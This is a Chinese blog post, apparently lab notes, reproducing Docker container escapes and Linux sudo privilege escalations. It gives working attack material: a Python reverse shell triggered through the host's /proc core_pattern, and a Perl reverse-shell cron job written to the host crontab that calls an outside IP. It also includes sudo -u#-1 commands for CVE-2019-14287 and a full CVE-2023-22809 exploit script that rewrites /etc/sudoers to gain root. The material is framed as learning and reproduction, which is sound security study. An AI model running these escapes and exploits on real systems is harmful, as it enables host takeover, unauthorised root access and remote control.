提权复现

之前写的docker与提权中不乏有需要动手复现的芝士,但是文章已经写的很长了不如汇总起来写在这里,本文未完待续 ——

linux提权信息收集

docker逃逸

挂载宿主机/proc导致逃逸

简单的说, proc 是一个伪文件系统,它提供了内核数据结构的接口。它通常挂载在 /proc 目录下。一般是由系统自动挂载的,不过也可以通过 mount 命令进行手动挂载。proc 文件系统只包含系统运行时的信息(如系统内存、mount 设备信息等),它只存在于内存中而不占用外存空间。它以文件系统的形式,为访问内核数据的操作提供接口。

所谓的进程,是只有机器在运行的时候才有的数据,也就是都在内存当中的。而内存中的数据都写入到 /proc/* 这个目录下。我们可以直接查看这个目录下的文件。

创建容器并挂载 /proc 目录<

1
2
3
4
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
find / -name core_pattern#如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs
/proc/sys/kernel/core_pattern
/host/proc/sys/kernel/core_pattern

找到当前容器在宿主机下的绝对路径

1
2
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
workdir=/var/lib/docker/overlay2/610a40f987f03857cfc7ca5cb95c3befe08b31c10e3bb271567d95280b1a50de/work 0 0

1.在Linux中,如果进程崩溃,系统内核会捕获进程崩溃信息,然后将进程的coredump 信息写入到文件中,文件名默认是core,但也可以通过修改/proc/sys/kernel/core_pattern文件的内容来指定该文件名。

2.linux自2.6.19版本开始,支持在/proc/sys/kernel/core_pattern文件开头加入”|”符号。如果存在这符号,剩下字符会被当做命令由系统内核执行(参考官方手册:https://man7.org/linux/man-pages/man5/core.5.html)

\3. 因此,如果容器挂载了/proc目录,我们可在该目录下core_pattern文件写入exp,故意运行一个存在bug程序,触发并由内核执行core_pattern文件中exp,终成功逃逸到宿主机。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
apt-get update -y && apt-get install nano gcc -y
nano /tmp/shell.py
#!/usr/bin/python3
import os
import pty
import socket
lhost = "IP"
lport = 3307
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.t.py')
s.close()
if __name__ == "__main__":
main()

chmod 777 shell.py

写入反弹 shell 到目标的 proc 目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
echo -e "|/var/lib/docker/overlay2/610a40f987f03857cfc7ca5cb95c3befe08b31c10e3bb271567d95280b1a50de/merged/tmp/shell.py \rcore    " >  /host/proc/sys/kernel/core_pattern
echo -e "|/var/lib/docker/overlay2/610a40f987f03857cfc7ca5cb95c3befe08b31c10e3bb271567d95280b1a50de/merged/tmp/shell.py \rcore " > /host/proc/sys/kernel/core_pattern
上面路径中的work 换成 merged/tmp/shell.py
nano /tmp/shell.py
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
gcc shell.c -o shell
./shell
成功弹回shell
nc -lvp 3307
listening on [any] 3307 ...
Warning: forward host lookup failed for ecs-123-249-78-254.compute.hwclouds-dns.com: Unknown host
connect to [10.0.28.4] from ecs-123-249-78-254.compute.hwclouds-dns.com [123.249.78.254] 49934
root@hecs-235922:/#

Privileged 特权模式容器逃逸

1
docker run --rm --privileged=true -it alpine #创建容器

检测 :在容器内部执行下面的命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff

1
cat /proc/self/status | grep CapEff

查看挂载磁盘设备

1
fdisk -l

在容器内部执行以下命令,将宿主机文件挂载到 /test 目录下

1
mkdir /test && mount /dev/sda1 /test

查看shadow文件或者定时任务写入反弹shell

1
echo $'*/1 * * * * root perl -e \'use Socket;$i="172.16.214.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /test/etc/crontab

CVE-2019-14287

1
2
1.8.28之前的所有 Sudo 版本均受影响
要求用户具有 sudo 权限,从而以任意用户 ID 运行命令

参考:

https://mp.weixin.qq.com/s/FV1V_CguP1PQE68yJnEkvQ

https://www.shellcodes.org/Hacking/CVE-2019-14287%EF%BC%88Linux%20sudo%E6%BC%8F%E6%B4%9E%EF%BC%89%E5%88%86%E6%9E%90.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
环境搭建
docker run -dit ubuntu
#docker run -dit --name=sudo-1.8.27 ubuntu
apt update
apt install wget gcc automake autoconf libtool make nano -y

#安装sudo特定版本使用离线安装 将压缩包从宿主机复制进容器
#在宿主机使用 docker cp sudo-1.8.23.tar.gz 1cf:/tmp
#使用wget下载压缩包
wget https://www.sudo.ws/dist/sudo-1.8.27.tar.gz

tar -zxvf sudo-1.8.23.tar.gz
./configure && make && make install
cp /usr/local/bin/sudo /usr/bin/sudo
sudo -V 验证版本

useradd test
passwd test 设置密码

更改 /etc/sudoers 增加
test ALL=(ALL,!root) NOPASSWD:ALL
测试

首先在服务器查看sudo版本

1
2
3
4
5
6
7
8
9
10
sudo -V
Sudo version 1.8.27
Sudoers policy plugin version 1.8.27
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.27
L0sE2@VM-28-4-debian:~/docker$
L0sE2@VM-28-4-debian:~/docker$ sudo -u#-1 id -u
sudo: unknown user: #-1
sudo: unable to initialize policy plugin
#这里漏洞被修复了 很奇怪 而且sudo查看版本并没有输出环境变量

于是乎docker启一个ubuntu并安装 1.8.23 1.8.27 均可root

1
2
3
4
5
6
root@1cf67ddb9612:~# su test
$ cat /root/111
cat: /root/111: Permission denied
$ sudo -u#-1 cat /root/111
flag
分析

Sudo 支持在 sudoers 策略允许的情况下,以用户指定的名称或用户 ID 运行命令。例如,如下 sudoers 条目允许 id 命令以任意用户身份运行,因为它包含 Runas 规范中的关键字 ALL。

1
myhost alice = (ALL) /usr/bin/id

用户不仅能够以其它合法用户身份运行该 id 命令,还能使用 #uid 语法以任意用户 ID 运行该命令

1
sudo -u#1234 id -u

将返回1234,然而,sudo 在运行命令前用户修改用户 ID 的setresuid(2) 和 setreuid(2) 系统调用将特殊对待用户 ID为-1(或其无符号值 4294967295)而且并不会修改该值的用户 ID

1
2
sudo -u#-1 id -u
sudo -u#4294967295 id -u

实际上会返回 0。这是因为 sudo命令本身就已经以用户 ID 为0 运行,因此当 sudo 试图将用户 ID 修改成 -1时,不会发生任何变化。这就导致 sudo 日志条目将该命令报告为以用户 ID 为 4294967295而非 root (或者用户ID为 0)运行命令。此外,由于通过–u 选项指定的用户 ID 并不存在于密码数据库中,因此不会运行任何 PAM 会话模块

1
2
3
sudo: unknown user: #-1
sudo: unable to initialize policy plugin
返回以上则说明漏洞已被修复

CVE-2023-22809

https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf

https://bbs.kanxue.com/thread-277242.htm

https://www.wevul.com/315.html

https://www.shellcodes.org/Hacking/CVE-2023-22809%EF%BC%88sudoedit%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E%EF%BC%89%E5%88%86%E6%9E%90.html

1
sudo 1.8.0-sudo 1.9.12p1(sudo>=1.8.0 or sudo <=1.9.12p1)

需要权限为 user ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/test

payload

1
2
EDITOR='vim -- /path/to/file' sudoedit /etc/test   #/path/to/file可以是任意文件
分析

执行 sudoedit 时,会调用 plugins/sudoers/editor.c 中的 find_editor 函数,find_editor 会根据 SUDO_EDITOR、VISUAL、EDITOR 三个环境变量设置的编辑器来指定编辑器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
char *
find_editor(int nfiles, char **files, int *argc_out, char ***argv_out,
char * const *allowlist, const char **env_editor)
{
/* ... */
*env_editor = NULL;
ev[0] = "SUDO_EDITOR";
ev[1] = "VISUAL";
ev[2] = "EDITOR";
for (i = 0; i < nitems(ev); i++) {
char *editor = getenv(ev[i]);

if (editor != NULL && *editor != '\0') {
*env_editor = editor;
/* 解析环境变量的值 */
editor_path = resolve_editor(editor, strlen(editor),
nfiles, files, argc_out, argv_out, allowlist);
if (editor_path != NULL)
break;
if (errno != ENOENT)
debug_return_str(NULL);
}
}

/* ... */
}

如果设置了环境变量,就调用 resolve_editor 函数去解析,问题就出在这个函数中,以下为关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static char *
resolve_editor(const char *ed, size_t edlen, int nfiles, char **files,
int *argc_out, char ***argv_out, char * const *allowlist)
{
/* ... */if (nfiles != 0) {
/* 如果参数为“--”,就替换为文件名 */
nargv[nargc++] = "--";
while (nfiles--)
nargv[nargc++] = *files++;
}
nargv[nargc] = NULL;

*argc_out = nargc;
*argv_out = nargv;
/* ... */
}
SUDO_EDITOR='vim -- /etc/shadow' sudoedit /etc/hosts

其中的“–”就会被 /etc/hosts 对应的临时文件覆盖 要求文件有sudoedit权限

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env bash
#

if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$'
then
echo "> Currently installed sudo version is not vulnerable"
exit 1
fi

EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-)

if [ -z "$EXPLOITABLE" ]; then
echo "> It doesn't seem that this user can run sudoedit as root"
read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2
else
echo "> BINGO! User exploitable"
fi

echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
echo "$USER ALL=(ALL:ALL) ALL"
read -n 1 -s -r -p "Press any key to continue..."
echo "$EXPLOITABLE"
EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
sudo su root
exit 0

首先检查当前系统上的sudo版本是否存在安全漏洞,如果不是,则退出。如果是,则检查当前用户是否可以通过sudoedit以root权限运行命令。如果当前用户无法以root权限运行sudoedit,则脚本会提示用户是否要继续进行提权攻击。如果用户可以以root权限运行sudoedit,则脚本将显示一条消息,告诉用户将特定行添加到sudoers文件中。最后,脚本将打开sudoers文件以便用户添加此行。

  • 然后我们看看EXPOLITABLE这一行,主要执行了以下步骤:
  1. 使用 sudo -l 命令列出当前用户的sudo权限。
  2. 使用 grep -E “sudoedit|sudo -e” 过滤出能够运行 sudoedit 命令或者 sudo -e 命令的权限。
  3. 使用 grep -E ‘(root)|(ALL)|(ALL : ALL)’ 过滤出其中包含 (root) 或者 (ALL) 或者 (ALL : ALL) 的权限。
  4. 使用 cut -d ‘)’ -f 2- 命令删除每行开头的括号和空格,只保留每行的命令参数。
  • 最终,该命令将返回一个以空格分隔的字符串列表,其中每个元素是一个能够以root权限运行的命令参数。如果返回的字符串为空,则表示当前用户无法以root权限运行任意sudoedit命令。
1
2
3
defaults!SUDOEDIT env_delete+="SUDO_EDITOR VISUAL EDITOR"
Cmnd_Alias SUDOEDIT = sudoedit /etc/custom/service.conf
user ALL=(ALL:ALL) SUDOEDIT

未完待续——